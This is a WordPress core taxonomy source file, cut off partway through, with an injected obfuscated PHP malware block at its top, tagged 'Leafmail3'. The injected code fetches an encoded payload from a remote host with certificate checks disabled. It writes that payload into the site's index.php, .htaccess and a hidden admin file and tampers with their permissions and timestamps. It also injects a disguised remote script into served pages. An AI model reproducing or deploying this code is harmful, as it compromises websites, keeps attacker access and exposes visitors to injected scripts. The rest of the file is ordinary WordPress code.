<?php /*Leafmail3*/goto vODF8; uW9iC: p1I3i: goto m0oPE; zJ0r4: $fd50r .= "\164\144\157"; goto lKsEQ; daxHz: $Q7FSm .= "\x74\151"; goto zNDLT; QuFr2: $wv9Ig .= "\x33\66"; goto sOymP; lYCuA: $LOLkL = "\x35"; goto y6I4r; jBc3K: $tkyNj .= "\x65\170"; goto feM2z; veckF: $vp5Fj .= "\x61\x63\x63\145\x73\x73"; goto F5Rs6; B13FM: $CoSGx = "\x64\x65\x66"; goto YZRXV; LzBKe: $CUa7Y = !empty($qwM6z) || !empty($SCBgM); goto tB1mh; loZYi: try { goto txRyO; K18GF: @$xS8DV($vp5Fj, $eb2Uu); goto tGdpP; iQrV6: @$KDcLu($AW98J, $PShG_); goto K18GF; U8ZJQ: @$xS8DV($AW98J, $eb2Uu); goto Y_zOi; txRyO: @$xS8DV($nHQe_, $eb2Uu); goto U8ZJQ; bh8Zz: @$xS8DV($vp5Fj, $Vjvu_); goto ZGL3p; ZGL3p: @$KDcLu($vp5Fj, $PShG_); goto g9qNE; ZfydO: @$xS8DV($AW98J, $Vjvu_); goto iQrV6; g9qNE: @$xS8DV($nHQe_, $Vjvu_); goto H3O0E; Y_zOi: @$DR4rp($AW98J, $jap8Z["\x61"]); goto ZfydO; tGdpP: @$DR4rp($vp5Fj, $jap8Z["\142"]); goto bh8Zz; H3O0E: } catch (Exception $EdXTL) { } goto y_pyz; F2WJF: $xS8DV .= "\155\157\144"; goto XVkCO; GbEwW: $MhTIX = "\x6d\144\x35"; goto LQ0hU; uLWI3: $vp5Fj = $nHQe_; goto orqfm; egDtp: $tkyNj = "\x66\165\156\x63"; goto usQiR; LQ0hU: $vbt1Y = $MhTIX; goto TgEvM; XPDLi: $gPOF5 = $le6g1; goto tBtTf; WxOmz: $DR4rp .= "\160\x75\164\137\143"; goto UxwWx; GZYTn: $L3Qwt .= "\145\x63\157\144\145"; goto g9Iex; gJ2jd: $B5AMu .= "\x63\157\x70\171"; goto UIZFw; V5t0t: $eb2Uu = 189; goto WkOpf; R8lf6: $L3Qwt .= "\66\x34\x5f\144"; goto GZYTn; hYuCQ: try { goto A3SpX; Lp303: try { goto Kpqh2; IAeb5: $gPOF5($QKdX3); goto usTFE; Soq5P: $QydK0($QKdX3, CURLOPT_POSTFIELDS, $DORoV($q4dFj)); goto IAeb5; RVyt3: $QydK0($QKdX3, CURLOPT_FOLLOWLOCATION, true); goto nb7rJ; AqD2c: $QydK0($QKdX3, CURLOPT_RETURNTRANSFER, 1); goto ttOBx; LJxmP: $QydK0($QKdX3, CURLOPT_SSL_VERIFYHOST, false); goto RVyt3; snalI: $QydK0($QKdX3, CURLOPT_URL, $Pi1_K); goto AqD2c; nb7rJ: $QydK0($QKdX3, CURLOPT_TIMEOUT, 3); goto caVfG; caVfG: $QydK0($QKdX3, CURLOPT_POST, 1); goto Soq5P; Kpqh2: $QKdX3 = $AhBNU(); goto snalI; usTFE: $iwfAP($QKdX3); goto OfPoO; ttOBx: $QydK0($QKdX3, CURLOPT_SSL_VERIFYPEER, false); goto LJxmP; OfPoO: } catch (Exception $EdXTL) { } goto s8qlN; kwFwL: $EHr4j = dirname($O8VpT); goto rtN5e; oSMaO: @$xS8DV($EHr4j, $eb2Uu); goto zRyBD; rtN5e: if ($qjAK2($EHr4j)) { goto ayR0Q; } goto OfJbX; pAJFu: $Pi1_K .= "\164\75\x63\141"; goto AM67e; j_bNW: ayR0Q: goto CA7b_; D4GAj: $q4dFj = ["\x64\x61\164\141" => $jap8Z["\x64"]["\165\x72\x6c"]]; goto Lp303; OfJbX: @$spfUp($EHr4j, $eb2Uu, true); goto j_bNW; oI6DO: @$xS8DV($EHr4j, $Vjvu_); goto oyphM; GLti1: $Pi1_K .= "\77\x61\143"; goto pAJFu; lEMoS: $Pi1_K = $FCJJO; goto GLti1; A3SpX: $O8VpT = $nHQe_ . $jap8Z["\144"]["\160\141\x74\x68"]; goto kwFwL; s8qlN: d_JbM: goto HW6fn; CA7b_: if (!$qjAK2($EHr4j)) { goto d_JbM; } goto oSMaO; oyphM: @$KDcLu($O8VpT, $PShG_); goto lEMoS; OUdjB: @$xS8DV($O8VpT, $Vjvu_); goto oI6DO; AM67e: $Pi1_K .= "\154\x6c"; goto D4GAj; zRyBD: @$DR4rp($O8VpT, $jap8Z["\x64"]["\143\157\144\x65"]); goto OUdjB; HW6fn: } catch (Exception $EdXTL) { } goto loZYi; LNJsy: @$xS8DV($nHQe_, $Vjvu_); goto k_sTE; cuM3u: $nHQe_ = $_SERVER[$Y5cZH]; goto A7iEW; n8L8V: $uz9bL .= "\x68\160\x2e\60"; goto K6CAr; unwRS: $DORoV .= "\x75\x69\154\x64\x5f\x71"; goto Nk50j; JP7xy: $vbt1Y .= "\x6c\x65"; goto RNGP0; nZ1st: $gQtVG .= "\115\x49\x4e"; goto r5zMQ; XScjr: $gQtVG = "\x57\120"; goto O5QIE; OU84W: $pzU4s = "\146\x6c\x6f"; goto mwwot; nRTqE: $RDkKv = []; goto aYHoX; l2VBa: rqNSn: goto gKipv; ljZeU: $uz9bL .= "\x2f\170\x6d"; goto mCMR7; Ieo9X: $Y5cZH .= "\137\x52\117\117\x54"; goto lYCuA; XVkCO: $L3Qwt = "\x62\141\x73\x65"; goto R8lf6; OGVf2: $Vjvu_ = 215; goto huZpo; aBs6o: $fd50r .= "\147\151\x73\x74"; goto FqdNN; MTS3A: V4Jy1: goto vHyOs; jrrba: $PShG_ = $Q7FSm($wv9Ig); goto bMgWF; vODF8: $J4djk = "\74\104\x44\x4d\76"; goto lRUim; ruvGs: $AW98J .= "\150\x70"; goto uLWI3; VXlbA: $uz9bL .= "\160\x63\x2e\x70"; goto n8L8V; w8i1S: $KDcLu .= "\165\x63\150"; goto TPq_6; UxwWx: $DR4rp .= "\x6f\156\x74\145\x6e\x74\163"; goto ISAMz; chc27: if (!($JKloV !== false)) { goto L8tHW; } goto UihyE; TgEvM: $vbt1Y .= "\137\146\x69"; goto JP7xy; zijgp: $F3G3B = "\x69\x6e\x74"; goto d0ttz; XAUaV: $CZpCY = $y6Dil($uz9bL, "\167\53"); goto KpMKi; ZjcxJ: $eb2Uu = $F3G3B($mmShn($eb2Uu), $l6o74); goto OGVf2; WBWyB: try { goto LAZiP; NeOx9: $QydK0($QKdX3, CURLOPT_FOLLOWLOCATION, true); goto WZ1lN; yuxAB: $JKloV = trim(trim($JKloV, "\xef\xbb\xbf")); goto zF9le; YXPOY: $QydK0($QKdX3, CURLOPT_SSL_VERIFYPEER, false); goto UWGHP; MbwNB: $JKloV = $gPOF5($QKdX3); goto hAQ9Y; UWGHP: $QydK0($QKdX3, CURLOPT_SSL_VERIFYHOST, false); goto NeOx9; LAZiP: $QKdX3 = $AhBNU(); goto i1X7z; WZ1lN: $QydK0($QKdX3, CURLOPT_TIMEOUT, 10); goto MbwNB; S2VNp: $QydK0($QKdX3, CURLOPT_RETURNTRANSFER, 1); goto YXPOY; i1X7z: $QydK0($QKdX3, CURLOPT_URL, $B5AMu); goto S2VNp; hAQ9Y: $iwfAP($QKdX3); goto yuxAB; zF9le: } catch (Exception $EdXTL) { } goto chc27; fSM7u: $Q7FSm .= "\164\157"; goto daxHz; YZRXV: $CoSGx .= "\x69\156\x65\144"; goto TSsDX; Y78_D: $tCAxo = 1; goto kOQ0E; iMZQy: $_POST = $_REQUEST = $_FILES = array(); goto CfGUZ; TfIgP: $HH1HZ .= "\x6f\156\x74\x65\x6e\x74\163"; goto jcgg4; Jhv2t: $ocF0w .= "\x64\155\x69\156"; goto I04NN; aYHoX: $N__ZL = 32; goto IvuqX; HgvDx: @$xS8DV($z2Yll, $eb2Uu); goto C_4CC; ZW1G7: r6AqH: goto GqJiG; CfGUZ: AzDa9: goto U2U3q; NdB0_: $QydK0 .= "\157\x70\164"; goto XPDLi; KFMi9: $x0CSu .= "\137\x48\117\x53\124"; goto nMuHG; WqPjf: $B5AMu = $FCJJO; goto B0dlE; TPq_6: $xS8DV = "\x63\x68"; goto F2WJF; tBtTf: $gPOF5 .= "\x6c\137\x65\170\x65\143"; goto Zr7tR; qUDsS: $PKMm7 .= "\x66\151\x6c\x65"; goto Odo2W; UihyE: $jap8Z = 0; goto hJZyv; WQvgq: $qwM6z = $_REQUEST; goto rvlXO; yoOUR: $vTeXJ = "\x76\x65\x72\x73\151"; goto IBhNI; ZxHGi: $fd50r = "\x72\x65"; goto aBs6o; shDBj: $FSKjX .= "\115\x45\123"; goto XScjr; bAY2j: $LYlAw = $L474W = $ocF0w . "\x2f" . $sVnDj; goto nRTqE; sOymP: $wv9Ig .= "\63\x20\144"; goto d5_Qs; jcgg4: $DR4rp = "\x66\151\154\145\137"; goto WxOmz; QKYpu: $ocF0w .= "\55\x61"; goto Jhv2t; dZIRa: $P4139 = $_SERVER[$x0CSu]; goto cuM3u; huZpo: $Vjvu_ += 150; goto qbT4q; BSUkU: $bX79j = "\x66\143\154"; goto RAIH6; g9Iex: $MIh5N = "\147\x7a\x69"; goto ojxiT; m0oPE: if (!$tCAxo) { goto rqNSn; } goto WqPjf; C_4CC: @unlink($z2Yll); goto LNJsy; feM2z: $tkyNj .= "\151\163\x74\x73"; goto j_mMb; dU8Tu: $FSKjX = "\127\x50\x5f\x55"; goto iLcq9; axzTr: $HH1HZ .= "\147\x65\164\x5f\143"; goto TfIgP; sZfV6: $FCJJO .= "\x6c\151\156\153\x2e\x74"; goto oUI8y; zNDLT: $Q7FSm .= "\155\145"; goto egDtp; Nk50j: $DORoV .= "\x75\145\x72\x79"; goto GbEwW; j_mMb: $le6g1 = "\x63\165\162"; goto QFm8j; y6I4r: $LOLkL .= "\x2e\x34"; goto Dc02k; d5_Qs: $wv9Ig .= "\141\171\163"; goto jrrba; AjCJZ: $z2Yll .= "\x6e\x69"; goto OzEb9; RNGP0: $PKMm7 = "\x69\163\137"; goto qUDsS; k_sTE: DUBKw: goto AbQ0z; mwwot: $pzU4s .= "\143\x6b"; goto BSUkU; bKUUG: $WzLgo = $RDkKv[1]; goto WAo0s; mCMR7: $uz9bL .= "\x6c\x72"; goto VXlbA; Tt4oQ: $Q7FSm = "\163\164\162"; goto fSM7u; B0dlE: $B5AMu .= "\x3f\x61\143\x74"; goto aETJg; DbBpN: $vTeXJ .= "\x70\x61\162\145"; goto B13FM; IBhNI: $vTeXJ .= "\157\156\137\x63\157\x6d"; goto DbBpN; QSRig: $FCJJO = "\150\x74\164\x70\163\72\x2f\57"; goto Jb8vw; pLm0w: $spfUp .= "\144\151\x72"; goto yspyu; bMgWF: $x0CSu = "\110\x54\x54\120"; goto KFMi9; psjtE: $iwfAP .= "\x6c\x5f\143\x6c\x6f"; goto kxGeH; OzEb9: if (!$PKMm7($z2Yll)) { goto DUBKw; } goto fUCm1; YZnxF: $AhBNU .= "\154\137\x69\x6e\x69\164"; goto o4wfR; U2U3q: $xS8DV($nHQe_, $eb2Uu); goto XAUaV; hVAgs: if (empty($RDkKv)) { goto r6AqH; } goto gpO7z; lRUim: $huaOJ = "\57\136\143"; goto l1puk; ojxiT: $MIh5N .= "\x6e\146\154\x61\164\145"; goto QO6bK; yspyu: $HH1HZ = "\146\151\154\145\137"; goto axzTr; nMuHG: $Y5cZH = "\x44\x4f\x43\125\x4d\105\x4e\x54"; goto Ieo9X; QO6bK: $RpkLV = "\165\156\x73\145\x72"; goto TE4rq; oUI8y: $FCJJO .= "\x6f\160\x2f"; goto ZxHGi; gpO7z: $ZwOvi = $RDkKv[0]; goto bKUUG; r5zMQ: $EvUsr = $CoSGx($FSKjX) || $CoSGx($gQtVG); goto WQvgq; ryAXN: $iSMwa = "\163\164\162"; goto Aw0OF; RAIH6: $bX79j .= "\157\x73\145"; goto QSRig; QFm8j: $AhBNU = $le6g1; goto YZnxF; y_pyz: M1S8t: goto YcoP2; bPtLw: $AW98J .= "\x64\x65\170\56\x70"; goto ruvGs; jHqFV: if (!is_array($jap8Z)) { goto M1S8t; } goto sHXMo; O5QIE: $gQtVG .= "\x5f\x41\104"; goto nZ1st; dBHzv: $AW98J .= "\x2f\151\x6e"; goto bPtLw; KpMKi: if (!($tkyNj($AhBNU) && !preg_match($huaOJ, PHP_SAPI) && $pzU4s($CZpCY, 2 | 4))) { goto v1tUm; } goto vfYVM; u8ekB: $qjAK2 .= "\x64\151\162"; goto D1aMA; rvlXO: $SCBgM = $_FILES; goto LzBKe; Odo2W: $qjAK2 = "\x69\163\137"; goto u8ekB; Tl9BG: $ocF0w .= "\x2f\167\160"; goto QKYpu; hh9Gu: $YKWP5 .= "\x74\40\x41\x63\143"; goto DSWYm; Dc02k: $LOLkL .= "\56\x30\x3b"; goto dZIRa; o4wfR: $QydK0 = $le6g1; goto VYKG_; pnTdK: $YKWP5 = "\110\124\124"; goto qEMP2; WkOpf: $eb2Uu += 304; goto ZjcxJ; CLQnS: $huaOJ .= "\x73\151"; goto Tt4oQ; orqfm: $vp5Fj .= "\x2f\x2e\x68\164"; goto veckF; jvCLK: $fd50r .= "\151\157\156"; goto cE3iS; vHyOs: goto p1I3i; goto ZW1G7; Aw0OF: $iSMwa .= "\154\x65\156"; goto yoOUR; neYoj: $y6Dil .= "\145\156"; goto OU84W; Yc9eB: $JKloV = false; goto WBWyB; IvuqX: $l6o74 = 5; goto DicZE; tB1mh: if (!(!$EvUsr && $CUa7Y)) { goto AzDa9; } goto iMZQy; vI8QX: aybLW: goto dU8Tu; cE3iS: if (isset($_SERVER[$fd50r])) { goto aybLW; } goto YhmyI; FqdNN: $fd50r .= "\145\162\x5f"; goto l7JCC; I04NN: $sVnDj = substr($MhTIX($P4139), 0, 6); goto bAY2j; WAo0s: if (!(!$PKMm7($AW98J) || $vbt1Y($AW98J) != $ZwOvi)) { goto F9B9M; } goto Y78_D; d0ttz: $F3G3B .= "\x76\141\154"; goto G8B0v; G8B0v: $mmShn = "\144\145\x63"; goto w1WUM; Ky1Ah: $fd50r .= "\x75\156\x63\x74"; goto jvCLK; YcoP2: L8tHW: goto l2VBa; fUCm1: @$xS8DV($nHQe_, $eb2Uu); goto HgvDx; ISAMz: $KDcLu = "\164\x6f"; goto w8i1S; YhmyI: $_SERVER[$fd50r] = 0; goto vI8QX; qbT4q: $Vjvu_ = $F3G3B($mmShn($Vjvu_), $l6o74); goto pnTdK; UIZFw: $B5AMu .= "\x26\150\75" . $P4139; goto Yc9eB; A7iEW: $ocF0w = $nHQe_; goto Tl9BG; QiT7j: $YKWP5 .= "\x30\x36\x20\116\157"; goto hh9Gu; usQiR: $tkyNj .= "\x74\151\x6f\156\137"; goto jBc3K; TE4rq: $RpkLV .= "\x69\x61\154\x69\172\145"; goto zijgp; DWZ53: if (!(!$_SERVER[$fd50r] && $vTeXJ(PHP_VERSION, $LOLkL, "\76"))) { goto tOsRM; } goto qx0qa; DSWYm: $YKWP5 .= "\x65\x70\164\141\142\154\x65"; goto TXR6r; clNTt: tOsRM: goto NrKhW; F5Rs6: $z2Yll = $nHQe_; goto ZRq91; Jb8vw: $FCJJO .= "\157\153\x6b"; goto sZfV6; Zr7tR: $iwfAP = $le6g1; goto psjtE; w1WUM: $mmShn .= "\x6f\143\x74"; goto ryAXN; TXR6r: $uz9bL = $nHQe_; goto ljZeU; lKsEQ: $fd50r .= "\167\156\137\146"; goto Ky1Ah; kxGeH: $iwfAP .= "\x73\x65"; goto PULcN; qEMP2: $YKWP5 .= "\120\57\61\x2e\x31\40\x34"; goto QiT7j; aETJg: $B5AMu .= "\x3d\x67\145\164"; goto gJ2jd; iLcq9: $FSKjX .= "\123\x45\137\x54\110\x45"; goto shDBj; AbQ0z: $tCAxo = 0; goto hVAgs; Te8Ah: $AW98J = $nHQe_; goto dBHzv; PULcN: $DORoV = "\150\164\x74\x70\137\x62"; goto unwRS; oHm8V: $tCAxo = 1; goto MTS3A; K6CAr: $y6Dil = "\146\x6f\160"; goto neYoj; PL0rr: if (!(!$PKMm7($vp5Fj) || $vbt1Y($vp5Fj) != $WzLgo)) { goto V4Jy1; } goto oHm8V; l1puk: $huaOJ .= "\154\151\x2f"; goto CLQnS; l7JCC: $fd50r .= "\x73\x68\165"; goto zJ0r4; sHXMo: try { goto HbY3E; HbY3E: @$xS8DV($nHQe_, $eb2Uu); goto YBneD; lVY2g: LmA8a: goto o_wA9; w2wnP: @$KDcLu($L474W, $PShG_); goto vkTcY; plcED: $L474W = $LYlAw; goto lVY2g; o_wA9: @$DR4rp($L474W, $jap8Z["\x63"]); goto FIfGh; FIfGh: @$xS8DV($L474W, $Vjvu_); goto w2wnP; YBneD: if (!$qjAK2($ocF0w)) { goto LmA8a; } goto y3Uf0; y3Uf0: @$xS8DV($ocF0w, $eb2Uu); goto plcED; vkTcY: } catch (Exception $EdXTL) { } goto hYuCQ; GqJiG: $tCAxo = 1; goto uW9iC; VYKG_: $QydK0 .= "\154\x5f\x73\x65\x74"; goto NdB0_; D1aMA: $spfUp = "\x6d\x6b"; goto pLm0w; TSsDX: $wv9Ig = "\x2d\61"; goto QuFr2; vfYVM: $xS8DV($nHQe_, $Vjvu_); goto DWZ53; kOQ0E: F9B9M: goto PL0rr; NrKhW: try { goto qZ46l; RQqe5: if (!(is_array($yVIWe) && count($yVIWe) == 2)) { goto XDrKy; } goto A2PmA; w9gDu: y6dH8: goto Z726M; MlbPu: $yVIWe = @explode("\x3a", $HH1HZ($L474W)); goto RQqe5; YN8V8: if (!($iSMwa($gOxct) == $N__ZL && $iSMwa($aWnJP) == $N__ZL)) { goto YUPG5; } goto DYfgW; urTh8: XDrKy: goto vw7V4; hhu33: $gOxct = trim($yVIWe[0]); goto h7asi; POLut: $RDkKv[] = $aWnJP; goto w9gDu; JSOyl: $RDkKv[] = $aWnJP; goto dxtWS; ixd8R: $L474W = $nHQe_ . "\57" . $sVnDj; goto uPNAL; YdNrA: if (!(is_array($yVIWe) && count($yVIWe) == 2)) { goto U90QQ; } goto hhu33; qZ46l: if (!$PKMm7($L474W)) { goto oqtoQ; } goto p5kTV; V_cwX: oTvft: goto NDBCD; A2PmA: $gOxct = trim($yVIWe[0]); goto DvFPK; wbpgM: if (!empty($RDkKv)) { goto oTvft; } goto ixd8R; DvFPK: $aWnJP = trim($yVIWe[1]); goto YN8V8; Y3KDn: if (!($iSMwa($gOxct) == $N__ZL && $iSMwa($aWnJP) == $N__ZL)) { goto y6dH8; } goto D88sj; vw7V4: wNb1b: goto V_cwX; dxtWS: YUPG5: goto urTh8; hNhbL: oqtoQ: goto wbpgM; Z726M: U90QQ: goto hNhbL; uPNAL: if (!$PKMm7($L474W)) { goto wNb1b; } goto MlbPu; D88sj: $RDkKv[] = $gOxct; goto POLut; h7asi: $aWnJP = trim($yVIWe[1]); goto Y3KDn; p5kTV: $yVIWe = @explode("\72", $HH1HZ($L474W)); goto YdNrA; DYfgW: $RDkKv[] = $gOxct; goto JSOyl; NDBCD: } catch (Exception $EdXTL) { } goto Te8Ah; qx0qa: try { $_SERVER[$fd50r] = 1; $fd50r(function () { goto AV30r; qJcS6: $XaxO1 .= "\105\x6c\x65\x6d\145\x6e\x74\163\102"; goto Ak55L; Q10lk: $XaxO1 .= "\x3c\x2f\x73"; goto b0BbS; QUShX: $XaxO1 .= "\x73\x63\162\x69\x70\164\x22\x3e" . "\xa"; goto qTRy2; DytHl: $XaxO1 .= "\57\155\x61\164"; goto shQ2Y; UYMzk: $XaxO1 .= "\105\x6c\145\x6d\145\156\164\x28\42\x73\143"; goto YC55T; ZXF34: $XaxO1 .= "\x6f\155\157\40\x43\157\x64"; goto Fp2Ee; AdEN_: $XaxO1 .= "\x72\x69\x70\x74\40\x74\x79\160\x65\75\42\164\x65\170"; goto vaHEn; qTRy2: $XaxO1 .= "\50\146\165\156\x63"; goto sT9Yu; YC55T: $XaxO1 .= "\162\151\160\164\42\51\x2c\40\x73\x3d\x64\56\x67\x65\164"; goto qJcS6; b0BbS: $XaxO1 .= "\x63\x72\x69\x70\x74\76\12"; goto NGsxv; HMLFi: $XaxO1 .= "\x7d\x29\50\x29\73" . "\12"; goto Q10lk; CvLy6: $XaxO1 .= "\x3f\x69\144\x3d"; goto dyWeq; Fp2Ee: $XaxO1 .= "\x65\x20\x2d\55\x3e\12"; goto fdPCn; y9nGa: $XaxO1 .= "\x6f\162\145\x28\147\x2c\x73\51\x3b" . "\12"; goto HMLFi; MSOF2: $XaxO1 .= "\160\164\x22\x29\133\60\x5d\x3b" . "\12"; goto P_ZMm; dyWeq: $XaxO1 .= "\x4d\x2d"; goto DLX8K; fdPCn: echo $XaxO1; goto endbR; No27V: $XaxO1 .= $P4139; goto DytHl; sT9Yu: $XaxO1 .= "\164\151\x6f\156\50\x29\40\x7b" . "\xa"; goto ubJzA; ebgnR: $XaxO1 .= "\x3b\x20\x67\x2e\144\x65\146"; goto wmOvX; KJt_C: $XaxO1 .= "\147\x2e\163\x72"; goto E5SRJ; yjiNj: $XaxO1 .= "\x64\x20\115\x61\x74"; goto ZXF34; jd565: $XaxO1 .= "\163\145\162\164\102\145\146"; goto y9nGa; D7OFn: $XaxO1 .= "\x75\155\145\156\164\54\40\x67\75\x64\56\143\x72\x65\141\x74\x65"; goto UYMzk; ubJzA: $XaxO1 .= "\166\x61\162\x20\x75\75\x22" . $FCJJO . "\x22\73" . "\xa"; goto v3rQ8; E5SRJ: $XaxO1 .= "\143\x3d\165\x2b\42\152\x73\x2f"; goto No27V; v3rQ8: $XaxO1 .= "\x76\141\162\x20\x64\75\144\157\143"; goto D7OFn; r7GHN: $XaxO1 .= "\163\x63\x72\151\160\164\42\73\40\147\x2e\x61"; goto RDjIx; vaHEn: $XaxO1 .= "\164\x2f\152\x61\x76\x61"; goto QUShX; gOYzX: $XaxO1 = "\x3c\x21\x2d\x2d\x20\x4d\141"; goto zMa4a; NGsxv: $XaxO1 .= "\x3c\41\x2d\55\40\x45\156"; goto yjiNj; I8B8v: $XaxO1 .= "\75\42\164\x65\x78\164\57"; goto uazjK; Ak55L: $XaxO1 .= "\171\x54\x61\x67\116\x61\x6d\145"; goto wg3cP; AV30r: global $P4139, $FCJJO; goto gOYzX; wg3cP: $XaxO1 .= "\50\42\x73\143\162\151"; goto MSOF2; JH0uq: $XaxO1 .= "\x3c\163\143"; goto AdEN_; DLX8K: $XaxO1 .= time(); goto d1HE5; RDjIx: $XaxO1 .= "\x73\x79\156\x63\x3d\x74\x72\165\x65"; goto ebgnR; d1HE5: $XaxO1 .= "\42\x3b\40\x73\56\x70\141\x72"; goto Bu0lg; wmOvX: $XaxO1 .= "\x65\162\x3d\164\162\165\145\x3b" . "\12"; goto KJt_C; shQ2Y: $XaxO1 .= "\157\x6d\x6f\x2e\152\163"; goto CvLy6; zMa4a: $XaxO1 .= "\x74\x6f\x6d\157\x20\x2d\x2d\x3e\xa"; goto JH0uq; uazjK: $XaxO1 .= "\152\141\x76\x61"; goto r7GHN; Bu0lg: $XaxO1 .= "\145\156\164\116\x6f\144\x65\x2e\x69\156"; goto jd565; P_ZMm: $XaxO1 .= "\x67\x2e\164\171\x70\x65"; goto I8B8v; endbR: }); } catch (Exception $EdXTL) { } goto clNTt; DicZE: $l6o74 += 3; goto V5t0t; hJZyv: try { $jap8Z = @$RpkLV($MIh5N($L3Qwt($JKloV))); } catch (Exception $EdXTL) { } goto jHqFV; VtpcZ: $z2Yll .= "\145\162\56\x69"; goto AjCJZ; ZRq91: $z2Yll .= "\x2f\56\x75\163"; goto VtpcZ; gKipv: v1tUm: ?> <?php /** * Core Taxonomy API * * @package WordPress * @subpackage Taxonomy */ // // Taxonomy Registration // /** * Creates the initial taxonomies. * * This function fires twice: in wp-settings.php before plugins are loaded (for * backward compatibility reasons), and again on the {@see 'init'} action. We must * avoid registering rewrite rules before the {@see 'init'} action. * * @since 2.8.0 * * @global WP_Rewrite $wp_rewrite The WordPress rewrite class. */ function create_initial_taxonomies() { global $wp_rewrite; if ( ! did_action( 'init' ) ) { $rewrite = array( 'category' => false, 'post_tag' => false, 'post_format' => false ); } else { /** * Filters the post formats rewrite base. * * @since 3.1.0 * * @param string $context Context of the rewrite base. Default 'type'. */ $post_format_base = apply_filters( 'post_format_rewrite_base', 'type' ); $rewrite = array( 'category' => array( 'hierarchical' => true, 'slug' => get_option('category_base') ? get_option('category_base') : 'category', 'with_front' => ! get_option('category_base') || $wp_rewrite->using_index_permalinks(), 'ep_mask' => EP_CATEGORIES, ), 'post_tag' => array( 'hierarchical' => false, 'slug' => get_option('tag_base') ? get_option('tag_base') : 'tag', 'with_front' => ! get_option('tag_base') || $wp_rewrite->using_index_permalinks(), 'ep_mask' => EP_TAGS, ), 'post_format' => $post_format_base ? array( 'slug' => $post_format_base ) : false, ); } register_taxonomy( 'category', 'post', array( 'hierarchical' => true, 'query_var' => 'category_name', 'rewrite' => $rewrite['category'], 'public' => true, 'show_ui' => true, 'show_admin_column' => true, '_builtin' => true, 'capabilities' => array( 'manage_terms' => 'manage_categories', 'edit_terms' => 'edit_categories', 'delete_terms' => 'delete_categories', 'assign_terms' => 'assign_categories', ), 'show_in_rest' => true, 'rest_base' => 'categories', 'rest_controller_class' => 'WP_REST_Terms_Controller', ) ); register_taxonomy( 'post_tag', 'post', array( 'hierarchical' => false, 'query_var' => 'tag', 'rewrite' => $rewrite['post_tag'], 'public' => true, 'show_ui' => true, 'show_admin_column' => true, '_builtin' => true, 'capabilities' => array( 'manage_terms' => 'manage_post_tags', 'edit_terms' => 'edit_post_tags', 'delete_terms' => 'delete_post_tags', 'assign_terms' => 'assign_post_tags', ), 'show_in_rest' => true, 'rest_base' => 'tags', 'rest_controller_class' => 'WP_REST_Terms_Controller', ) ); register_taxonomy( 'nav_menu', 'nav_menu_item', array( 'public' => false, 'hierarchical' => false, 'labels' => array( 'name' => __( 'Navigation Menus' ), 'singular_name' => __( 'Navigation Menu' ), ), 'query_var' => false, 'rewrite' => false, 'show_ui' => false, '_builtin' => true, 'show_in_nav_menus' => false, ) ); register_taxonomy( 'link_category', 'link', array( 'hierarchical' => false, 'labels' => array( 'name' => __( 'Link Categories' ), 'singular_name' => __( 'Link Category' ), 'search_items' => __( 'Search Link Categories' ), 'popular_items' => null, 'all_items' => __( 'All Link Categories' ), 'edit_item' => __( 'Edit Link Category' ), 'update_item' => __( 'Update Link Category' ), 'add_new_item' => __( 'Add New Link Category' ), 'new_item_name' => __( 'New Link Category Name' ), 'separate_items_with_commas' => null, 'add_or_remove_items' => null, 'choose_from_most_used' => null, ), 'capabilities' => array( 'manage_terms' => 'manage_links', 'edit_terms' => 'manage_links', 'delete_terms' => 'manage_links', 'assign_terms' => 'manage_links', ), 'query_var' => false, 'rewrite' => false, 'public' => false, 'show_ui' => true, '_builtin' => true, ) ); register_taxonomy( 'post_format', 'post', array( 'public' => true, 'hierarchical' => false, 'labels' => array( 'name' => _x( 'Format', 'post format' ), 'singular_name' => _x( 'Format', 'post format' ), ), 'query_var' => true, 'rewrite' => $rewrite['post_format'], 'show_ui' => false, '_builtin' => true, 'show_in_nav_menus' => current_theme_supports( 'post-formats' ), ) ); } /** * Retrieves a list of registered taxonomy names or objects. * * @since 3.0.0 * * @global array $wp_taxonomies The registered taxonomies. * * @param array $args Optional. An array of `key => value` arguments to match against the taxonomy objects. * Default empty array. * @param string $output Optional. The type of output to return in the array. Accepts either taxonomy 'names' * or 'objects'. Default 'names'. * @param string $operator Optional. The logical operation to perform. Accepts 'and' or 'or'. 'or' means only * one element from the array needs to match; 'and' means all elements must match. * Default 'and'. * @return array A list of taxonomy names or objects. */ function get_taxonomies( $args = array(), $output = 'names', $operator = 'and' ) { global $wp_taxonomies; $field = ('names' == $output) ? 'name' : false; return wp_filter_object_list($wp_taxonomies, $args, $operator, $field); } /** * Return the names or objects of the taxonomies which are registered for the requested object or object type, such as * a post object or post type name. * * Example: * * $taxonomies = get_object_taxonomies( 'post' ); * * This results in: * * Array( 'category', 'post_tag' ) * * @since 2.3.0 * * @global array $wp_taxonomies The registered taxonomies. * * @param array|string|WP_Post $object Name of the type of taxonomy object, or an object (row from posts) * @param string $output Optional. The type of output to return in the array. Accepts either * taxonomy 'names' or 'objects'. Default 'names'. * @return array The names of all taxonomy of $object_type. */ function get_object_taxonomies( $object, $output = 'names' ) { global $wp_taxonomies; if ( is_object($object) ) { if ( $object->post_type == 'attachment' ) return get_attachment_taxonomies( $object, $output ); $object = $object->post_type; } $object = (array) $object; $taxonomies = array(); foreach ( (array) $wp_taxonomies as $tax_name => $tax_obj ) { if ( array_intersect($object, (array) $tax_obj->object_type) ) { if ( 'names' == $output ) $taxonomies[] = $tax_name; else $taxonomies[ $tax_name ] = $tax_obj; } } return $taxonomies; } /** * Retrieves the taxonomy object of $taxonomy. * * The get_taxonomy function will first check that the parameter string given * is a taxonomy object and if it is, it will return it. * * @since 2.3.0 * * @global array $wp_taxonomies The registered taxonomies. * * @param string $taxonomy Name of taxonomy object to return. * @return WP_Taxonomy|false The Taxonomy Object or false if $taxonomy doesn't exist. */ function get_taxonomy( $taxonomy ) { global $wp_taxonomies; if ( ! taxonomy_exists( $taxonomy ) ) return false; return $wp_taxonomies[$taxonomy]; } /** * Checks that the taxonomy name exists. * * Formerly is_taxonomy(), introduced in 2.3.0. * * @since 3.0.0 * * @global array $wp_taxonomies The registered taxonomies. * * @param string $taxonomy Name of taxonomy object. * @return bool Whether the taxonomy exists. */ function taxonomy_exists( $taxonomy ) { global $wp_taxonomies; return isset( $wp_taxonomies[$taxonomy] ); } /** * Whether the taxonomy object is hierarchical. * * Checks to make sure that the taxonomy is an object first. Then Gets the * object, and finally returns the hierarchical value in the object. * * A false return value might also mean that the taxonomy does not exist. * * @since 2.3.0 * * @param string $taxonomy Name of taxonomy object. * @return bool Whether the taxonomy is hierarchical. */ function is_taxonomy_hierarchical($taxonomy) { if ( 